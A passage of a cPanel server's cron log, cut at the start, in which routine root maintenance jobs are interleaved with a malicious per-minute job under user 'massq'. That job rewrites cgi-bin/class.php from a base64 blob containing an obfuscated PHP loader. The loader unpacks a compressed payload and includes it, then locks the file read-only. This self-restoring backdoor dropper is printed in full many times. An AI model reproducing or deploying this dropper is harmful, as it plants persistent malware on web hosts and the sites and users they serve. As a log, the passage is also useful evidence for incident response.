0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:18:01 server CROND[10701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:18:01 server CROND[10702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:18:01 server CROND[10703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:19:01 server CROND[11066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:19:01 server CROND[11069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:19:01 server CROND[11067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:20:01 server CROND[11486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:20:01 server CROND[11488]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 14:20:01 server CROND[11489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:20:01 server CROND[11497]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:20:01 server CROND[11502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:20:01 server CROND[11495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:20:01 server CROND[11500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:20:01 server CROND[11499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:20:01 server CROND[11494]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 14:21:01 server CROND[12306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:21:01 server CROND[12307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:21:01 server CROND[12308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:22:01 server CROND[12823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:22:01 server CROND[12824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:22:01 server CROND[12825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:23:01 server CROND[13200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:23:01 server CROND[13201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:23:01 server CROND[13203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:24:01 server CROND[13571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:24:01 server CROND[13572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:24:01 server CROND[13574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:25:01 server CROND[13967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:25:01 server CROND[13968]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:25:01 server CROND[13969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:25:01 server CROND[13975]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:25:01 server CROND[13977]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 14:25:01 server CROND[13978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:25:01 server CROND[13981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:25:01 server CROND[13979]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 14:26:01 server CROND[14807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:26:01 server CROND[14808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:26:01 server CROND[14809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:27:01 server CROND[15284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:27:01 server CROND[15285]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 14:27:01 server CROND[15287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:27:01 server CROND[15286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:28:01 server CROND[15659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:28:01 server CROND[15660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:28:01 server CROND[15661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:29:01 server CROND[16022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:29:01 server CROND[16023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:29:01 server CROND[16024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:30:01 server CROND[16401]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:30:01 server CROND[16404]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
